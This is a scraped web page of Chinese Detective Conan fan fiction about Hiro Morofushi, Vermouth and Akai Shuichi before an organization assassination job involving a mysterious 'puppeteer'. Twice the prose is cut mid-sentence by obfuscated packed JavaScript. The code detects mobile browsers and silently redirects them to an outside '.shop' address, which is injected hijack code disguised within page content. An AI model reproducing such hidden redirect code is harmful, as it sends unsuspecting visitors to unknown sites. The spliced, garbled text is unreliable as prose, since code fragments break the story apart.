l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535984|203593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用,多数时候做不到。这里面是不是有什么技巧,到底要如何控制跟练习呢?” 诸伏景光怀疑自己之前太过依赖妹妹,导致自己长时间学不会腹语术。除了面对琴酒的那一次,只有模仿萩原的时候成功了,其他的尝试基本都失败了,可谓时灵时不灵。 专业的就是不一样,略一思考,远山先生便给出建议: “按照你的说法,我想并非技巧的问题,症结多数是出在心理层面。你可以尝试重现成功时的身心状态,并尽可能在相近的情境中进行体验。人与人性格不同,有的人是在压力下会怯场的类型,有的人则恰恰相反,在压力下反倒会超常发挥。” 他的话令景光醍醐灌顶,不愧是专业人士,给出的建议含金量很高。 谢过远山先生,从馆主处购入人偶之后,诸伏景光开始准备执行组织的任务。 此次任务之中涉及到另外两名组织成员,一名是组织代号成员贝尔摩德,他之前没有见过此人。据说此次任务她不会直接参与,只在发生意外的时候帮忙收尾,确认任务不会留下尾巴。 另一名,是准代号成员。据说此人离获取代号只有一步之遥,甚至就连酒名都已经预定好了。没有获得代号的唯一原因是——舆论。 没错,没想到吧,黑衣组织也挺注重舆论影响。 这名准代号成员,据说是靠女人上位,就算自身挺有实力,至今还是为很多人所不齿。 你可能觉得奇怪,也有其他人被亲朋好友介绍加入组织,这个男人为什么就引得许多人反感? 根据诸伏景光打听到的情报,有以下两个原因。 一个原因是,其他的裙带关系者进入组织之后,所获得地位都跟把对方带入组织的人相近,至多高一个层级。带着此人进入组织的女性成员,据说是组织外围成员,也就是说,以裙带关系的正常发展,他应该是一个外围成员,拼一拼也就是个正式成员。没想到他异军突起,硬是拼成了准代号成员。 换算到正常的公司,就是在做实习工作每天帮忙发汽水的小姐姐,介绍进来的男朋友跃迁到管理层。理智上理解这是因为对方的确能力很强,感情上还是很难受,尤其对于老员工来说,谁也不愿意承认自己不如一个靠撩妹进来的新人。 ——裙带就给我好好走裙带路线啊!靠裙带进来的软饭男还跟我们卷什么卷!这不是显得我们特别无能吗? 另一个原因就是此人的能力太强了,不止一个人曾吐槽过,此人简直就是琴酒翻版,无论是能力还是性格上都与琴酒太过相似。 无论是什么东西,有了替代品就不稀罕了,哪怕是下位替代。如果让此人青云直上,琴酒的地位很有可能会受到影响。哪怕琴酒本人不在意,站在琴酒那一派的人可不会给这个男人好脸色。 此次的任务,就是需要绿川光去协助这位准代号成员来抹杀目标。 19. 第十九章 按理说这类任务至多派两人已经足够了,组织专门多派了一名代号成员盯梢,恐怕是想就近观察某人是否具备成为正式代号成员的资格。 诸伏景光摆正心态,在此次任务里他可以接触到新的代号成员,可以了解到更多组织成员的信息。他不太明白琴酒非让他来参与任务的原因,也许琴酒挺重视这位准代号成员,想通过他的侧面观察来了解更多情报? 有这样两名组织成员在场,看来他最好不要轻举妄动。反正他只是打个配合,准代号成员应该很厉害,此类任务说不定不通过他都能轻松搞定。 在宴会正式开始前,他是这么想的。 直到宴会当天…… “大家请站在原地,不要靠近!这不是一起意外,应该是谋杀!” 著名的推理小说家工藤优作,站在被吊灯砸死的商人尸体前沉声道。 他的目光在现场缓慢地扫过,路过绿川光时,在他身上停留了三秒钟,才看向其他人。 不是,等等,你为什么看我? 诸伏景光给自己上一个强制冷静Buff。 ……冷静未遂。 代号成员呢?准代号成员呢?到现在他还一个都没见着呢!谁在,救一下啊! … 这本该是一次极为简单的暗杀任务。 贝尔摩德参与这个任务,有两个理由。一是她需要近距离观察评估一下,某位靠女人上位的准代号成员,是否真的拥有代号资格。 诸星大能力不错,不过他与琴酒太过相似了,导致很多人,包括琴酒本人都对他很感兴趣。 代号成员也良莠不齐,像是爱尔兰这类只偏重个别领域,又或者伏特加那样什么都会一点却都不怎么精通,才是大部分代号人员的常态。类似贝尔摩德或者琴酒这类在各个场景都适用性很强的多面手,其实少之又少。 此次任务考核的就是诸星大的综合能力。他完成暗杀类任务的能力如何,怎样从公众场合全身而退?还有他的组织能力跟应变能力,与其他成员配合度等,全是要考察的范畴。 大部分新加入的代号成员都要经历这一遭,算一个固定升职流程。大部分时候,监考官都是琴酒或朗姆,又或者他们派系的某个人。让贝尔摩德亲自上场的机会不多,她又不像朗姆,对扩充自身派系没有多强执念。 可贝尔摩德还是来了,因为琴酒不希望让诸星大这把刀落到朗姆手里,也因为,她想亲眼见一见另一个参与任务的组织成员。 起因是很随意的一句吐槽。 “爱尔兰叫新人傀儡师?认真的吗?对了,他好像的确没见过小有里。” 贝尔摩德只是觉得实在有些凑巧,他们组织内的清洁工,负责帮他们清扫现场的那个人,就是一名傀儡师。 至今她都还记得,第一次见到对方时的情景。 “初次见面,我是有里,负责做清扫。无论是多么难以处理的污渍跟垃圾,都可以交给我哦?以后请多指教。” 哪怕是见多识广的贝尔摩德,也无语凝噎了两秒。 她看着眼前戴着黑色面纱,全身黑衣,举着人偶的男人,再看看动作灵活多变的人偶,一时间不知道说什么才好。 男人动作很僵硬,脑袋低垂着,就像是硬支撑着站立起来的死人,反倒是人偶活灵活现,如同真的活着一般。 有里,女孩子的名字,声音也像小女孩。 但,那是个男的吧?其实应该是男人操纵的不是吗? “喂,认真的吗,琴酒?” 贝尔摩德不可置信看向琴酒,这样的人也能被组织招揽到?组织可真是有福了。 琴酒很淡定:“有里的能力的确很强,能把自己专业的工作处理得很好。你不觉得,比起基安蒂已经算很好了?优秀的人有任性的资格。” 这是事实。就像琴酒从不换其他车开,他的老爷车也从不使用套牌假牌。这习惯放任何一个注重隐秘的老牌组织里都是大忌,可没人对此质疑,因为那是琴酒。 同样的,其他人恐怕也很难以想象,组织的狙击手基安蒂,当初加入组织就是为了打网游。她曾因网速太卡,打游戏一再被干掉直接揣着重狙找人线下真实。在知道组织有钱有权,坐拥大量资本后,她要求给她安装独立光缆到她的住所跟基地,确保她能以最快速度打游戏,她才肯加入。 的确,比起基安蒂,一个全身漆黑拿着木偶,用女孩子声音的男人,似乎也没那么奇怪。 ……不,还是挺奇怪。 “看不到脸不要紧吗,琴酒?” 贝尔摩德再次询问。 琴酒以一种,你这女人也好意思说别人的表情白了她一眼。贝尔摩德自己就经常易容,很多代号成员都不知道她长什么样。 “跟你一样,这家伙很擅长伪装,好几次出现时的身高体征都不一样,而且每次都只用腹语说话。我问过行内人,据说傀儡师在登台演出时,如果没有办法遮挡自身,就会穿成全黑。” 贝尔摩德懂了,就是伪装自己是背景,不存在。原来如此,所以现在这个男人才连呼吸都屏住,假装自己是个不存在的人,他只是背景,真正的角色是木偶有里,是这个意思吧。 贝尔摩德赞叹:“小有里,你做一个负责后勤的外围太可惜了,要不要成为正式成员呢?” “谢谢您的推荐!可惜平日我还要学习傀儡操纵,做一些舞台表演,时间排不开。做清洁工是因为收入高,傀儡的维护与购买都要花钱。还有跟家人一起住不太方便,想跟哥哥搬出来住。总之,时间不太够,但还是谢谢您!” 哥哥?哦呀,有里的设定是傀儡师的妹妹吗? 贝尔摩德微笑:“没有问题,那就先做你想做的工作。我想我们会相处愉快。” ……回忆结束。 在贝尔摩德这边,她不觉得其他人能越过小有里获得傀儡师这样的称呼,就算又来一个新的操纵傀儡的人,也绝对无法在变态与执 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538905|203593||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着程度上赶超。 “呵。对傀儡师感兴趣的话你可以去见一下。之前说的考核任务,我已经把他安排了进去。” 贝尔摩德不傻,闻弦知意,琴酒的意思是傀儡师还真的有可能是他们认识的小有里? 嗯,琴酒恐怕也仅仅是推测,恐怕是想让她亲自去确认一下看是不是本人。毕竟外貌,身高,体型都能伪装,辨别是否为同一人还是有点难度。 主要是,同一时期在同一组织内出现两个玩傀儡的,概率也太小了。更有可能是傀儡师执着于自己的设定:木偶妹妹有里只做清洁工作,身为哥哥的傀儡师,摘下人偶后可以做到更多。 真巧啊,若不是爱尔兰正好跟傀儡师本人认识,揭穿对方身份,说不定就连琴酒都会被瞒过。 贝尔摩德被勾引得内心痒痒,就像她的心脏被羽毛轻挠。 快速又专业的清洁现场能力,她已经见识过了,这回你又准备给人家带来什么惊喜呢? 至于诸星大,反倒是次要的了,哪怕通不过考核也不要紧,或者说通不过才好。她才不想看到宫野明美的恋人在组织节节高升。 贝尔摩德用手机看向邮件里收到的简略介绍,以及附赠的照片。 究竟是什么样的过去与经历,让他执着于妹妹,执着于傀儡戏? “秘密让男人更有味道。就像咖啡,浓厚的沉重感才能品味出层次。” 我说的对吗,哥哥酱? * 化名为诸星大,潜入组织的FBI卧底赤井秀一正在用心思考,今天行动的策略。 他没叫FBI的同事过来,目前他处于潜伏的关键时期,容不得半点差池。此次任务至关重要,有不止一个组织成员参与此次任务,一旦翻车,他的潜入计划将付诸东流。 在参加宴会之前,他试着联系了下贝尔摩德,对方表示不会参与任务,让他直接跟另一名组织成员协商怎样共同执行任务。 问题是,贝尔摩德根本没有给他另一人联系方式!这让他们怎么共同执行任务? 【到了那天你就知道了。他的特征还算明显,我们都叫他——】 “傀儡师?” 身为FBI,赤井秀一对这个名字有一些印象。记得曾有一名在逃杀人犯,对外所使用的称号就是‘地狱傀儡师’。 赤井秀一脑海之中回忆起有关这名犯人的档案。对方活跃的时间是在数十年前,期间多次落网又多次脱逃,以擅长操纵人心,替人策划犯罪手法而闻名。他是个魔术师,因生母被人谋杀,又没有证据指向犯人,于是决定亲自报仇,以魔术手法将几名犯人一一残酷杀害,是个复仇者型连环杀人犯。 后来他经常给其他犯人提供犯罪咨询,在这些案子里,他对复仇类案件表现出强烈的执着心。 此人似乎沉寂了相当长的时间,不过考虑到他在全世界各地流窜,说不定是改头换面,使用别的代号在其他国家活动。 ……是同一人吗?